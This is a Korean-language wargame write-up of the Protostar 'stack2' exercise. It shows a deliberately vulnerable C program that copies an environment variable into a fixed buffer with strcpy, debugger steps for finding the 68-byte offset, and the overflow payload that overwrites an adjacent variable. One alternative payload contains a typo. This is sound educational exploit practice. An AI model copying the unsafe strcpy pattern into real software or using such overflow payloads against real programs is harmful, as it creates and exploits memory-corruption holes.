stack2.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
출처: http://liveoverflow.com/binary_hacking/protostar/stack2.html
1. 해결
1-1. stack2.c 저장 및 peda 설치
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"
출처 : https://github.com/longld/peda
콘솔 창에 복사/붙여넣기 하기
1-2. stack2 컴파일 및 환경변수 설정
gcc -z execstack -w -no-pie -o stack2 stack2.c
./stack2 실행해보면 환경변수가 설정돼 있지 않다.
export GREENIE='AAAAAAAAAAAAAAAAAAA' 대충 넣고 다시 실행하면
환경변수가 설정 되었다는 것을 알 수 있다.
1.3. 문제 해결
export GREENIE=$(python -c "print 'A'*68 + '\x0a\x0d\x0a\x0d'")
2. 분석
2-1. gdb로 분석
환경변수 위치를 알아야 한다.
cmp 위치에 브레이크 포인트를 걸어주고 실행한다.
b *main+89
r
Peda에서는 레지스터, 코드, 스택 정보를 한 눈에 볼 수 있다.
stack0,, stack1에서 하던 것처럼 위치를 알아보면 0x50 - 0xc임을 알 수 있다.
0x50 - 0xc = 0x44
0x44는 십진수로 68이다. (첫 번째 방법)
다른 방법으로는 Peda를 이용하는 것이다.
pattern create 100(gdb ./stack2 한 상태로) 하면 임의의 문자들이 100개가 나온다.
복사를 하여 quit
export GREENIE='AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
한 후,
gdb ./stack2로 다시 gdb를 연다.
gdb를 열어서 앞서 했던 방식과 동일하게
disas main
b *main + 89
r
을 하게 되면 위와 같이 뜰 것이다.
2-2. 위치 알기
그럼 RAX에 있는 값을 복사하여
pattern offset (복사한 값)을 넣어주면 위치가 등장할 것이다.
첫 번째 방법으로 구한 값과 동일한 68이다.
이제 환경변수 설정을 다시해보자.
export GREENIE=$(python -c "print 'A'*68 + '\x0a\x0d' * 2") 혹은
export GREENIE=$(python -c "print 'A'*68 + '\x0a\x0d\x0a\0d'") 하면 된다.
2-3. 레지스터값 확인
RAX에 우리가 원하는 0x0d0a0d0a가 들어있음을 확인할 수 있다.
'프로토스타' 카테고리의 다른 글
[프로토스타] stack5-1 (스택 접근) (0) | 2019.01.10 |
---|---|
[프로토스타] stack4 (0) | 2019.01.09 |
[프로토스타] stack3 (0) | 2019.01.09 |
[프로토스타] stack1 (0) | 2019.01.08 |
[프로토스타] stack0 (0) | 2019.01.04 |